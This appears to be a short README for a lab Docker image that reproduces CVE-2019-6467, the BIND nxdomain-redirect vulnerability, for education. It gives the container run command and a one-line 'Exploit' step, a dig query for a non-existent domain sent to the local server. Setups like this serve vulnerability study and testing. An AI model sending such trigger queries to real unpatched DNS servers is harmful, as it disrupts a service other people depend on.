knqyf263/CVE-2019-6467

CVE-2019-6467 (BIND nxdomain-redirect)

CVE-2019-6467

BIND nxdomain-redirect

For educational purposes only

Run

$ docker run --rm --name cve-2019-6467 -it -p 53:53/udp knqyf263/cve-2019-6467

Exploit

Normal query

$ dig @127.0.0.1 nxdomain.example.com

nxdomain can be replaced by anything that means non-existent domain name. (e.g. foobar.example.com)

Reference

• https://ftp.isc.org/isc/bind/9.12.4-P1/RELEASE-NOTES-bind-9.12.4-P1.html
• https://ftp.isc.org/isc/bind9/9.14.1/RELEASE-NOTES-bind-9.14.1.html